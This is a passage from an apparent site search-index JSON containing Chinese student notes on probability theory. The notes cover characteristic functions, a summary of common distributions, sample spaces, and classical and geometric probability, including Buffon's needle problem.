\\sigma_1^2; \\mu_2, \\sigma_2^2; \\rho) \\] <p>\u6c42\uff1a\\(\\phi(t_1, t_2) = ?\\)</p> <p>\u4e3a\u7b80\u5355\u8d77\u89c1\uff0c\u5047\u8bbe \\(\\mu_1 = 0, \\sigma_1^2 = 1; \\mu_2 = 0, \\sigma_2^2 = 1\\)\uff0c\u5373</p> \\[ (X, Y) \\sim N(0, 1; 0, 1; \\rho) \\] <p>\u4ee4</p> \\[ \\Sigma = \\begin{pmatrix} 1 &amp; \\rho \\\\ \\rho &amp; 1 \\end{pmatrix} \\] <p>\u4f5c\u7ebf\u6027\u53d8\u6362\uff1a</p> \\[ \\begin{pmatrix} U \\\\ V \\end{pmatrix} = \\Sigma^{-1/2} \\begin{pmatrix} X \\\\ Y \\end{pmatrix} \\] \\[ = \\begin{pmatrix} 1 &amp; \\rho \\\\ \\rho &amp; 1 \\end{pmatrix}^{-1/2} \\begin{pmatrix} X \\\\ Y \\end{pmatrix} \\] <p>\u8fd9\u6837\uff0c\\((U, V) \\sim N(0, 1; 0, 1; 0)\\)\uff0c\u5373 \\(U, V\\) \u76f8\u4e92\u72ec\u7acb\u3002\u6240\u4ee5\uff0c</p> \\[ \\phi_{U,V}(t_1, t_2) = e^{-\\frac{1}{2}(t_1^2 + t_2^2)} \\] \\[ = e^{-\\frac{1}{2}(t_1, t_2) \\cdot (t_1, t_2)'} \\] \\[ \\begin{align*} \\phi_{X,Y}(t_1, t_2) &amp;= E e^{i(t_1, t_2)(X, Y)'} \\\\ &amp;= E e^{i(t_1, t_2) \\Sigma^{1/2} (U, V)'} \\\\ &amp;= e^{-\\frac{1}{2} (t_1, t_2) \\Sigma (t_1, t_2)'} \\end{align*} \\] <p>\u8fd9\u91cc\u6700\u540e\u4e00\u4e2a\u7b49\u53f7\u662f\u8fd0\u7528\u4e86 \\(\\phi_{U,V}\\)\u7279\u5f81\u51fd\u6570\u7684\u53d8\u91cf\u66ff\u6362\u548c\u8f6c\u7f6e\u7684\u6027\u8d28\uff1b</p> <p>\u8fd9\u79cd\u53d8\u6362\u7684\u65b9\u5f0f\u5f88\u597d\u7528\uff0c\u53ef\u4ee5\u628a\u6807\u51c6\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u76f8\u5173\u7cfb\u6570\u53d8\u4e3a0\uff1b</p> <p>\u591a\u5143\u968f\u673a\u5411\u91cf\u7684\u7279\u5f81\u51fd\u6570</p> <p>\u8bbe\\(\\mathbf{X}\\)\u662f\u4e00\u4e2a\u591a\u5143\u968f\u673a\u5411\u91cf,\\(\\mathbf{t}=(t_1,t_2,\\ldots,t_n) \\in \\mathbb{R}^n\\),\u5b9a\u4e49</p> \\[ \\varphi_{\\mathbf{X}}(\\mathbf{t}) = Ee^{i\\mathbf{t}\\cdot\\mathbf{X}} \\] <p>\u5373\u4e24\u8005\u505a\u5185\u79ef\u7684\u671f\u671b;</p>"},{"location":"NOTE/Probability/Third/#_20","title":"\u5e38\u89c1\u5206\u5e03","text":"<p>\u81f3\u4eca\u4e3a\u6b62,\u6982\u7387\u8bba\u7684\u6570\u5b57\u7279\u5f81\u90e8\u5206\u5df2\u7ecf\u7ed3\u675f,\u5f00\u59cb\u6982\u7387\u6781\u9650\u7406\u8bba\u7684\u5b66\u4e60\u4e4b\u524d,\u5728\u6b64\u603b\u7ed3\u4e00\u4e0b\u82cf\u8001\u5e08\u8bfe\u4e0a\u63d0\u5230\u8fc7\u7684\u5404\u79cd\u5206\u5e03\u7684\u8868\u8fbe,\u5bc6\u5ea6\u51fd\u6570(\u6216\u6982\u7387),\u671f\u671b,\u65b9\u5dee,\u7279\u5f81\u51fd\u6570;</p> \u9000\u5316\u5206\u5e03\u4e24\u70b9\u5206\u5e03\u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6b63\u6001\u5206\u5e03\u5361\u65b9\u5206\u5e03Gamma\u5206\u5e03 <p>\u9000\u5316\u5206\u5e03,\u4e3a\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf,\u53d6\u67d0\u4e2a\u503c\u7684\u6982\u7387\u4e3a1,\u5176\u4f59\u53d6\u503c\u7684\u6982\u7387\u4e3a0;</p> <p>$$  P(X=a)=1  $$</p> <p>\u671f\u671b\u4e3a\\(E(X)=a\\),\u65b9\u5dee\u4e3a\\(Var(X)=0\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{ita}\\);</p> <p>\u5373 \u4f2f\u52aa\u5229\u5206\u5e03 \uff0cBernoulli distribution,\u79bb\u6563\u578b</p> \\[ \\left[ \\begin{matrix} 1&amp;0\\\\ p&amp;1-p \\end{matrix} \\right],p\\in (0,1) \\] <p>\u53ef\u4ee5\u8bb0\u4e3a\\(X\\sim B(1,p)\\);</p> <p>\u671f\u671b\u4e3a\\(E(X)=p\\),\u65b9\u5dee\u4e3a\\(Var(X)=p(1-p)\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(pe^{it}+1-p\\);</p> <p>\u5373 binomial distribution\uff0c\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=\\begin{pmatrix}     n\\\\k \\end{pmatrix} p^k(1-p)^{n-k},p\\in (0,1),k=0,1,\\cdots,n \\] <p>\u8bb0\u4e3a \\(\\xi\\sim B(n,p)\\)</p> <p>\u671f\u671b\u4e3a\\(E(X)=np\\),\u65b9\u5dee\u4e3a\\(Var(X)=np(1-p)\\),\u7279\u5f81\u51fd\u6570\u4e3a\\((pe^{it}+1-p)^n\\);</p> <p>\u5373 Poisson distribution\uff0c\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=\\frac{\\lambda^k}{k!}e^{-\\lambda} ,\\lambda&gt;0,k\\in \\mathbb N \\] <p>\u8bb0\u4e3a \\(\\xi\\sim\\mathcal{P}(\\lambda)\\)</p> <p>\u671f\u671b\u548c\u65b9\u5dee\u5747\u4e3a\\(\\lambda\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{\\lambda(e^{it}-1)}\\),\u4f7f\u7528\u51d1\u6210\u6cf0\u52d2\u5c55\u5f00\u63a8\u5bfc;</p> <p>\u5373 geometry distribution,\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u7b2c\u4e00\u6b21\u6210\u529f\u7684\u95ee\u9898,\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=p(1-p)^{k-1},p\\in (0,1),k\\in \\mathbb{N}_+ \\] <p>\u53ef\u4ee5\u8bb0\u4e3a\\(X\\sim G(p)\\);(Geometric distribution)</p> <p>\u671f\u671b\u4e3a\\(E(X)=\\frac{1}{p}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{1-p}{p^2}\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(\\frac{pe^{it}}{1-(1-p)e^{it}}\\);\u63a8\u5bfc\u8fc7\u7a0b\u662f\u7b49\u6bd4\u6570\u5217\u6c42\u548c.</p> <p>\u5373 hypergeometry distribution\uff0c\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u6b21\u54c1\u62bd\u6837\u95ee\u9898,\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=\\frac{\\displaystyle \\begin{pmatrix}     M\\\\k \\end{pmatrix} \\begin{pmatrix}     N-M\\\\n-k \\end{pmatrix}     }{\\displaystyle \\begin{pmatrix}     N\\\\n \\end{pmatrix}} ,n\\leqslant N,M\\leqslant N,k=0,1,\\cdots, \\min\\{n,M\\} \\] <p>\u53ef\u4ee5\u8bb0\u4e3a\\(X\\sim H(N,M,n)\\);(Hypergeometry distribution)</p> <p>\u671f\u671b\u4e3a\\(E(X)=\\frac{nM}{N}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{nM}{N}(1-\\frac{M}{N})(\\frac{N-n}{N-1})\\),\u7279\u5f81\u51fd\u6570\u4f3c\u4e4e\u6ca1\u89c1\u8fc7;</p> <p>\u5373 uniform distribution,\u8fde\u7eed\u578b,\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ f(x)=\\begin{cases} \\frac{1}{b-a},&amp;a&lt;x&lt;b\\\\ 0,&amp;x\\leqslant a \\text{ or } x\\geqslant b \\end{cases} \\] <p>\u8bb0\u4e3a\\(X\\sim U(a,b)\\);</p> <p>\u6570\u5b66\u671f\u671b\u4e3a\\(E(X)=\\frac{a+b}{2}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{(b-a)^2}{12}\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(\\frac{e^{itb}-e^{ita}}{it(b-a)}\\);\u4e09\u8005\u63a8\u5bfc\u90fd\u662f\u65e0\u60c5\u79ef\u5206;</p> <p>\u5373 exponential distribution,\u8fde\u7eed\u578b</p> \\[ f(x)=\\begin{cases} \\lambda e^{-\\lambda x},&amp;x\\geqslant 0\\\\ 0,&amp;x&lt;0 \\end{cases} \\] <p>\u8bb0\u4e3a\\(X\\sim E(\\lambda)\\);</p> <p>\u6570\u5b66\u671f\u671b\u4e3a\\(E(X)=\\frac{1}{\\lambda}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{1}{\\lambda^2}\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(\\frac{\\lambda}{\\lambda-it}\\);</p> <p>\u5373 normal distribution,\u8fde\u7eed\u578b,\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}} \\] <p>\u8bb0\u4e3a\\(X\\sim N(\\mu,\\sigma^2)\\);</p> <p>\u6570\u5b66\u671f\u671b\u4e3a\\(E(X)=\\mu\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\sigma^2\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{i\\mu t-\\frac{1}{2}\\sigma^2 t^2}\\); \u7279\u522b\u5730\uff0c\\(X\\sim N(0,1)\\)\u79f0\u4e3a\u6807\u51c6\u6b63\u6001\u5206\u5e03;\u5176\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{-\\frac{1}{2}t^2}\\);</p> <p>\u82e5\\(\\xi_1,\\xi_2,\\cdots,\\xi_n\\)\u72ec\u7acb\u540c\u5206\u5e03\u4e8e\u6807\u51c6\u6b63\u6001\u5206\u5e03\\(N(0,1)\\),\u5219\u79f0\\(\\xi_1^2+\\xi_2^2+\\cdots+\\xi_n^2\\)\u670d\u4ece\u5361\u65b9\u5206\u5e03,\u4e3a\u8fde\u7eed\u578b</p> <p>\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[  f(x)=\\frac{1}{2^{\\frac{v}{2}}\\Gamma(\\frac{v}{2})}x^{\\frac{v}{2}-1}e^{-\\frac{x}{2}} \\] <p>\u8bb0\u4e3a\\(\\chi^2 \\sim \\chi^2(v)\\);</p> <p>\\(v\\) \u4e3a\u81ea\u7531\u5ea6,\u6307\u7684\u662f\u81ea\u7531\u53d8\u91cf\u7684\u4e2a\u6570(\\(n-r\\)),\\(r\\) \u4e3a\u7ea6\u675f\u6761\u4ef6\u7684\u4e2a\u6570;</p> <p>\u671f\u671b\u4e3a\\(E(\\chi^2)=v\\),\u65b9\u5dee\u4e3a\\(Var(\\chi^2)=2v\\),\u7279\u5f81\u51fd\u6570\u4e3a\\((1-2it)^{-\\frac{v}{2}}\\);</p> <p>\u8bb0\u5fc6\u8f83\u4e3a\u7e41\u7410,\u53ef\u4ee5\u53ea\u8bb0\u4f4f\u4f3d\u9a6c\u5206\u5e03\u5373\u53ef;</p> <p>\u5373 Gamma distribution,\u8fde\u7eed\u578b,\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ f(x)=\\frac{\\lambda^\\alpha}{\\Gamma(\\alpha)}x^{\\alpha-1}e^{-\\lambda x} \\] <p>\u8bb0\u4e3a\\(X\\sim \\Gamma(\\alpha,\\lambda)\\);</p> <p>\u671f\u671b\u4e3a\\(E(X)=\\frac{\\alpha}{\\lambda}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{\\alpha}{\\lambda^2}\\);</p> <p>\u7279\u5f81\u51fd\u6570\u4e3a\\((1-\\dfrac{it}{\\lambda})^{-\\alpha}\\);</p> <p>\u53ef\u4ee5\u770b\u5230\u4ee4\\(\\lambda=\\dfrac{1}{2},\\alpha=\\dfrac{v}{2}\\)\u65f6,\\(\\Gamma\\)\u5206\u5e03\u5373\u4e3a\\(\\chi^2\\)\u5206\u5e03;</p>"},{"location":"NOTE/Probability/first/","title":"\u4e8b\u4ef6\u53ca\u5176\u6982\u7387","text":"<p> \u7ea6 1370 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 5 \u5206\u949f</p> <p>Quote</p> <p>\u672c\u7ae0\u8282\u90e8\u5206\u5185\u5bb9\u53c2\u8003\u4e86\u5468\u5b66\u957f\u7684blog</p>"},{"location":"NOTE/Probability/first/#_2","title":"\u968f\u673a\u73b0\u8c61\u57df\u7edf\u8ba1\u89c4\u5f8b\u6027","text":""},{"location":"NOTE/Probability/first/#_3","title":"\u968f\u673a\u73b0\u8c61","text":"<ul> <li> <p>\u786e\u5b9a\u6027\u73b0\u8c61:\u53ef\u4ee5\u786e\u5b9a\u5728\u4e00\u5b9a\u6761\u4ef6\u4e0b\u67d0\u79cd\u73b0\u8c61\u5fc5\u5b9a\u53d1\u751f\u6216\u8005\u5fc5\u5b9a\u4e0d\u4f1a\u53d1\u751f</p> <ul> <li>\u5fc5\u7136\u4e8b\u4ef6:\u4e00\u5b9a\u4f1a\u53d1\u751f\uff0c\u4f8b\u5982\u592a\u9633\u4e00\u5b9a\u4f1a\u4e1c\u5347\u897f\u843d</li> <li>\u4e0d\u53ef\u80fd\u4e8b\u4ef6:\u4e00\u5b9a\u4e0d\u4f1a\u53d1\u751f\uff0c\u4f8b\u5982\u5bb6\u732a\u4f1a\u98de\u4e0a\u5929  </li> </ul> </li> <li> <p>\u968f\u673a\u73b0\u8c61:\u5728\u4e00\u5b9a\u6761\u4ef6\u4e0b\uff0c\u67d0\u79cd\u4e8b\u4ef6\u53ef\u80fd\u53d1\u751f\u4e5f\u53ef\u80fd\u4e0d\u53d1\u751f</p> </li> <li> <p>\u968f\u673a\u8bd5\u9a8c(random experiment):\u5bf9\u4e8e\u968f\u673a\u73b0\u8c61\uff0c\u5728\u57fa\u672c\u76f8\u540c\u7684\u6761\u4ef6\u4e0b\uff0c\u91cd\u590d\u8fdb\u884c\u8bd5\u9a8c\u6216\u8005\u89c2\u5bdf\uff0c\u53ef\u80fd\u51fa\u73b0\u4e0d\u540c\u7684\u7ed3\u679c(\u4f46\u662f\u7ed3\u679c\u7684\u6240\u6709\u53ef\u80fd\u662f\u77e5\u9053\u7684\uff0c\u4e0d\u77e5\u9053\u51fa\u73b0\u54ea\u4e00\u79cd\u53ef\u80fd)</p> </li> <li> <p>\u968f\u673a\u8bd5\u9a8c\u7684\u7ed3\u679c\u79f0\u4e3a\u968f\u673a\u4e8b\u4ef6(random event),\u7b80\u79f0\u4e8b\u4ef6</p> </li> </ul>"},{"location":"NOTE/Probability/first/#_4","title":"\u6982\u7387\u7684\u7edf\u8ba1\u5b9a\u4e49","text":"<p>\u76f8\u540c\u6761\u4ef6\u4e0b\u91cd\u590d\\(N\\)\u6b21\u8bd5\u9a8c,\u5404\u6b21\u8bd5\u9a8c\u4e92\u4e0d\u5f71\u54cd,\u4e8b\u4ef6\\(A\\)\u51fa\u73b0\u7684\u6b21\u6570(\u9891\u6570)\\(n\\),\u79f0</p> \\[ F_N(A)=\\dfrac{n}{N} \\] <p>\u4e3a \\(A\\) \u5728 \\(N\\) \u6b21\u8bd5\u9a8c\u4e2d\u51fa\u73b0\u7684 \u9891\u7387 (frequency)</p> <p>\\(N\\)\u8db3\u591f\u5927\u65f6\u9891\u7387\u4f1a\u8d8b\u5411\u4e8e\u4e00\u4e2a\u5e38\u6570\uff0c\u79f0\u4e3a \u6982\u7387 (probability),\u8bb0\u4e3a\\(P(A)\\),\u6982\u7387\u53ef\u4ee5\u8868\u793a\u4e8b\u4ef6\\(A\\)\u5728\u4e00\u6b21\u8bd5\u9a8c\u4e2d\u53d1\u751f\u7684\u53ef\u80fd\u6027\u7684\u5927\u5c0f</p> <p>\u6982\u7387\u548c\u9891\u7387\u7684\u7279\u6027</p> <ol> <li> <p>\u975e\u8d1f\u6027\uff1a\\(\\forall A\\in \\mathcal{F},P(A)\\geqslant 0\\)</p> </li> <li> <p>\u89c4\u8303\u6027\uff1a\\(P(\\Omega)=1\\)</p> </li> <li> <p>\u53ef\u5217\u53ef\u52a0\u6027\uff1a\\(A_i\\cap A_j=\\emptyset, i\\neq j\\) (\u5373 \\(A_1,\\cdots, A_n, \\cdots\\) \u4e3a\u4e24\u4e24\u4e0d\u76f8\u5bb9\u7684\u4e8b\u4ef6)</p> </li> </ol> \\[     P\\left(\\sum_{n=1}^\\infty A_n\\right)=\\sum_{n=1}^\\infty P(A_n) \\]"},{"location":"NOTE/Probability/first/#_5","title":"\u53e4\u5178\u6982\u578b","text":""},{"location":"NOTE/Probability/first/#_6","title":"\u6837\u672c\u7a7a\u95f4\u548c\u6837\u672c\u70b9","text":"<p>\u6837\u672c\u7a7a\u95f4\u548c\u6837\u672c\u70b9\u662f\u6982\u7387\u8bba\u548c\u7edf\u8ba1\u5b66\u4e2d\u7684\u4e24\u4e2a\u57fa\u672c\u6982\u5ff5\u3002</p> <p>\u6837\u672c\u7a7a\u95f4(Sample Space)</p> <p>\u6837\u672c\u7a7a\u95f4\u662f\u6307\u5728\u4e00\u6b21\u8bd5\u9a8c\u6216\u968f\u673a\u4e8b\u4ef6\u4e2d\uff0c\u6240\u6709\u53ef\u80fd\u7684\u7ed3\u679c\u7684\u96c6\u5408\u3002\u7528\u7b26\u53f7 \\( S \\) \u6216 \\( \\Omega \\) \u8868\u793a\u3002\u4f8b\u5982\uff1a</p> <ul> <li>\u63b7\u4e00\u679a\u786c\u5e01\uff1a\u6837\u672c\u7a7a\u95f4\u662f\u786c\u5e01\u7684\u6240\u6709\u53ef\u80fd\u7ed3\u679c\uff0c\u8bb0\u4f5c \\( S = \\{ \\text{\u6b63\u9762}, \\text{\u53cd\u9762} \\} \\) \u6216 \\( S = \\{H, T\\} \\)\u3002</li> <li>\u63b7\u4e00\u9897\u9ab0\u5b50\uff1a\u6837\u672c\u7a7a\u95f4\u662f\u9ab0\u5b50\u7684\u6240\u6709\u53ef\u80fd\u7ed3\u679c\uff0c\u8bb0\u4f5c \\( S = \\{1, 2, 3, 4, 5, 6\\} \\)\u3002</li> </ul> <p>\u6837\u672c\u70b9(Sample Point)</p> <p>\u6837\u672c\u70b9\u662f\u6837\u672c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u5143\u7d20\uff0c\u8868\u793a\u4e00\u6b21\u8bd5\u9a8c\u7684\u4e00\u4e2a\u53ef\u80fd\u7ed3\u679c\u3002\u6837\u672c\u70b9\u662f\u6837\u672c\u7a7a\u95f4\u7684\u4e00\u4e2a\u5177\u4f53\u7ed3\u679c\u3002\u4f8b\u5982\uff1a</p> <ul> <li>\u5728\u63b7\u4e00\u679a\u786c\u5e01\u7684\u8bd5\u9a8c\u4e2d\uff0c\u6837\u672c\u7a7a\u95f4\u4e3a \\( S = \\{H, T\\} \\)\uff0c\u5176\u4e2d \\( H \\) \u548c \\( T \\) \u5c31\u662f\u6837\u672c\u70b9\u3002</li> <li> <p>\u5728\u63b7\u4e00\u9897\u9ab0\u5b50\u7684\u8bd5\u9a8c\u4e2d\uff0c\u6837\u672c\u7a7a\u95f4\u4e3a \\( S = \\{1, 2, 3, 4, 5, 6\\} \\)\uff0c\u5176\u4e2d \\( 1, 2, 3, 4, 5, 6 \\) \u90fd\u662f\u6837\u672c\u70b9\u3002</p> </li> <li> <p>\u6837\u672c\u7a7a\u95f4 \u662f\u6240\u6709\u53ef\u80fd\u7ed3\u679c\u7684\u96c6\u5408\u3002</p> </li> <li> <p>\u6837\u672c\u70b9 \u662f\u6837\u672c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u5355\u4e00\u7ed3\u679c\u3002 </p> </li> </ul>"},{"location":"NOTE/Probability/first/#_7","title":"\u53e4\u5178\u6982\u578b","text":"<p>\u53e4\u5178\u6982\u578b\u7684\u7279\u5f81</p> <ol> <li>\u6837\u672c\u7a7a\u95f4\u4e2d\u6837\u672c\u70b9\u6709\u9650\uff0c\\(\\Omega=\\{\\omega_1,\\omega_2, \\cdots, \\omega_n\\}\\)</li> <li>\u5404\u57fa\u672c\u4e8b\u4ef6\u7b49\u53ef\u80fd\uff0c\u5373 \\(P(\\omega)=\\frac 1n\\)</li> </ol> <p>\u53e4\u5178\u6982\u7387(classical probability)\u7684\u8ba1\u7b97\uff1a</p> \\[     P(A)=\\frac m n=\\frac{A\\text{ \u5305\u542b\u7684\u6837\u672c\u70b9\u6570}}{\\text{\u6837\u672c\u7a7a\u95f4\u4e2d\u6837\u672c\u70b9\u603b\u6570}} \\] <p>Example</p> <p>\u6709 \\(n\\) \u4e2a\u7403\uff0c\\(N\\) \u4e2a\u683c\u5b50 (\\(n \\leqslant N\\))\uff0c\u7403\u4e0e\u683c\u5b50\u90fd\u662f\u53ef\u4ee5\u533a\u5206\u7684\u3002\u6bcf\u4e2a\u7403\u843d\u5728\u5404\u683c\u5b50\u7684\u6982\u7387\u76f8\u540c (\u8bbe\u683c\u5b50\u8db3\u591f\u5927\uff0c\u53ef\u4ee5\u5bb9\u7eb3\u4efb\u610f\u591a\u4e2a\u7403)\u3002\u5c06\u8fd9 \\(n\\) \u4e2a\u7403\u968f\u673a\u5730\u653e\u5165 \\(N\\) \u4e2a\u683c\u5b50\uff0c\u6c42\uff1a</p> <ol> <li>\u6307\u5b9a\u7684 \\(n\\) \u683c\u5404\u6709\u4e00\u7403\u7684\u6982\u7387\uff1b</li> <li>\u6709 \\(n\\) \u683c\u5404\u6709\u4e00\u7403\u7684\u6982\u7387\u3002</li> </ol> <p>\u628a\u7403\u7f16\u53f7\u4e3a \\(1 \\sim n\\)\uff0c\\(n\\) \u4e2a\u7403\u7684\u6bcf\u4e00\u79cd\u653e\u6cd5\u662f\u4e00\u4e2a\u6837\u672c\u70b9\uff0c\u8fd9\u5c5e\u4e8e\u53e4\u5178\u6982\u578b\u3002\u7531\u4e8e\u4e00\u4e2a\u683c\u5b50\u53ef\u5bb9\u7eb3\u4efb\u610f\u591a\u7403\uff0c\u6837\u672c\u70b9\u603b\u6570\u5e94\u8be5\u662f\u4ece \\(N\\) \u4e2a\u4e2d\u53d6 \\(n\\) \u4e2a\u7684\u91cd\u590d\u6392\u5217\u6570 \\(N^n\\)\u3002</p> <ol> <li>\u8bb0 \\(A = \\{\\text{\u6307\u5b9a\u7684 } n \\text{ \u683c\u5404\u6709\u4e00\u7403}\\}\\)\uff0c\u5b83\u5305\u542b\u7684\u6837\u672c\u70b9\u6570\u662f\u6307\u5b9a\u7684 \\(n\\) \u683c\u4e2d \\(n\\) \u4e2a\u7403\u7684\u5168\u6392\u5217\u6570 \\(n!\\)\uff0c\u6545\uff1a</li> </ol> \\[ P(A) = \\frac{n!}{N^n}. \\] <ol> <li>\u8bb0 \\(B = \\{\\text{\u6709 } n \\text{ \u683c\u5404\u6709\u4e00\u7403}\\}\\)\uff0c\u5b83\u6240\u5305\u542b\u7684\u6837\u672c\u70b9\u6570\u662f \\(N\\) \u683c\u4e2d\u4efb\u53d6 \\(n\\) \u683c\u7684\u5168\u6392\u5217\u6570 \\(P_{N}^{n}\\)\uff0c\u6545\uff1a</li> </ol> \\[ P(B) = \\frac{P_{N}^{n}}{N^n} = \\frac{N(N-1) \\cdots (N-n+1)}{N^n} = \\left( 1 - \\frac{1}{N} \\right) \\left( 1 - \\frac{2}{N} \\right) \\cdots \\left( 1 - \\frac{n-1}{N} \\right). \\] <p>\u6ce8\u610f\u5230 \\(\\log(1 - x) = -x + O(x^2), , x \\to 0\\)\u3002\u6211\u4eec\u6709\uff1a</p> \\[ \\log \\left( 1 - \\frac{1}{N} \\right) + \\log \\left( 1 - \\frac{2}{N} \\right) + \\cdots + \\log \\left( 1 - \\frac{n-1}{N} \\right) = \\sum_{k=1}^{n-1} \\log \\left( 1 - \\frac{k}{N} \\right) = - \\sum_{k=1}^{n-1} \\frac{k}{N} + O \\left( \\frac{n^3}{N^2} \\right). \\] <p>\u6545\u5f53 \\(N\\) \u6bd4 \\(n\\) \u5927\u5f97\u591a\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u91c7\u7528\u8fd1\u4f3c\u8ba1\u7b97\u516c\u5f0f\uff1a</p> \\[ P(B) \\approx \\exp \\left\\{ -\\frac{n(n-1)}{2N} \\right\\}. \\]"},{"location":"NOTE/Probability/first/#_8","title":"\u51e0\u4f55\u6982\u578b","text":"<p>\u51e0\u4f55\u6982\u578b\u7684\u7279\u5f81</p> <ol> <li>\u6837\u672c\u7a7a\u95f4\u4e2d\u6837\u672c\u70b9\u65e0\u9650</li> <li>\u6837\u672c\u70b9\u843d\u5728\u7b49\u6d4b\u5ea6(\u957f\u5ea6\u3001\u9762\u79ef\u3001\u4f53\u79ef...)\u533a\u57df\u7684\u6982\u7387\u76f8\u7b49</li> </ol> <p>\u51e0\u4f55\u6982\u578b\u7684\u8ba1\u7b97\uff1a</p> \\[     P(A_g)=\\frac{g\\text{ \u7684\u6d4b\u5ea6}}{\\Omega\\text{ \u7684\u6d4b\u5ea6}} \\] <p>\\(A_g=\\{\\text{\u4efb\u53d6\u6837\u672c\u70b9\uff0c\u4f4d\u4e8e\u533a\u57df }g\\in\\Omega\\text{ \u7684\u6982\u7387}\\}\\)</p> <p>\u84b2\u4e30 (Buffon) \u6295\u9488\u95ee\u9898</p> <p>\u5e73\u9762\u4e0a\u753b\u5f88\u591a\u5e73\u884c\u7ebf\uff0c\u95f4\u8ddd\u4e3a \\(a\\)\u3002\u5411\u6b64\u5e73\u9762\u6295\u63b7\u957f\u4e3a \\(l \\, (l &lt; a)\\) \u7684\u9488\uff0c\u6c42\u6b64\u9488\u4e0e\u4efb\u4e00\u5e73\u884c\u7ebf\u76f8\u4ea4\u7684\u6982\u7387</p> <p>\u4ee5\u9488\u7684\u4efb\u4e00\u4f4d\u7f6e\u4e3a\u6837\u672c\u70b9\uff0c\u5b83\u53ef\u4ee5\u7531\u4e24\u4e2a\u53c2\u6570\u51b3\u5b9a\uff1a\u9488\u7684\u4e2d\u70b9\u4e0e\u6700\u8fd1\u7684\u5e73\u884c\u7ebf\u4e4b\u95f4\u7684\u8ddd\u79bb \\(x\\)\uff0c\u9488\u4e0e\u5e73\u884c\u7ebf\u7684\u5939\u89d2 \\(\\varphi\\)\u3002</p> <p>\u6837\u672c\u7a7a\u95f4\uff1a</p> \\[ \\Omega = \\{(\\varphi, x) \\mid 0 \\leqslant \\varphi \\leqslant \\pi, \\, 0 \\leqslant x \\leqslant \\frac{a}{2}\\} \\] <p>\u4e3a\u4e00\u77e9\u5f62\u3002\u9488\u4e0e\u5e73\u884c\u7ebf\u76f8\u4ea4\u7684\u533a\u57df\u662f\uff1a</p> \\[ g = \\{(\\varphi, x) \\mid x \\leqslant \\frac{l}{2} \\sin \\varphi\\} \\quad (\\text{\u89c1\u56fe}). \\] <p></p> <p>\u6240\u6c42\u6982\u7387\u662f\uff1a</p> \\[ P = \\frac{g \\, \\text{\u7684\u9762\u79ef}}{\\Omega \\, \\text{\u7684\u9762\u79ef}} = \\frac{\\int_0^{\\pi} \\frac{l}{2} \\sin \\varphi \\, d\\varphi}{\\pi (a/2)} = \\frac{2l}{a\\pi}. \\] \\[ \\text{\u5de6\u56fe\uff1a} \\quad a \\, \\text{\u4e3a\u5e73\u884c\u7ebf\u95f4\u8ddd\uff0c} \\, l \\, \\text{\u4e3a\u9488\u957f\uff0c} \\, x \\, \\text{\u4e3a\u8ddd\u79bb\uff0c} \\, \\varphi \\, \\text{\u4e3a\u89d2\u5ea6} \\] \\[ \\text{\u53f3\u56fe\uff1a} \\quad x = \\frac{l}{2} \\sin \\varphi \\] <p>\u56e0\u4e3a\u6982\u7387 \\(P\\) \u53ef\u4ee5\u7528\u591a\u6b21\u91cd\u590d\u8bd5\u9a8c\u7684\u9891\u7387\u6765\u8fd1\u4f3c\uff0c\u6240\u4ee5\u53ef\u4ee5\u5f97\u5230\u5b83\u7684\u8fd1\u4f3c\u503c\u3002\u65b9\u6cd5\u662f\u91cd\u590d\u6295\u9488 \\(N\\) \u6b21(\u6216\u4e00\u6b21\u6295\u9488\u82e5\u5e72\u679a\uff0c\u603b\u8ba1 \\(N\\) \u679a)\uff0c\u7edf\u8ba1\u4e0e\u5e73\u884c\u7ebf\u76f8\u4ea4\u7684\u679a\u6570 \\(n\\)\uff0c\u5219 \\(P \\approx n/N\\)\u3002</p> <p>\u53c8\u56e0\u4e3a \\(l \\leqslant a\\) \u4e14\u53ef\u7cbe\u786e\u6d4b\u91cf\uff0c\u6545\u4ece \\(2l/a\\pi \\approx n/N\\) \u53ef\u89e3\u5f97 \\(\\pi \\approx 2lN/an\\)\u3002\u5386\u53f2\u4e0a\u6709\u4eba\u4e0d\u6b62\u4e00\u6b21\u505a\u8fc7\u8fd9\u4e2a\u8bd5\u9a8c\uff0c\u505a\u5f97\u6700\u597d\u7684\u4e00\u4e2a\u6295\u63b7\u4e86 3408 \u6b21\uff0c\u7b97\u5f97 \\(\\pi \\approx 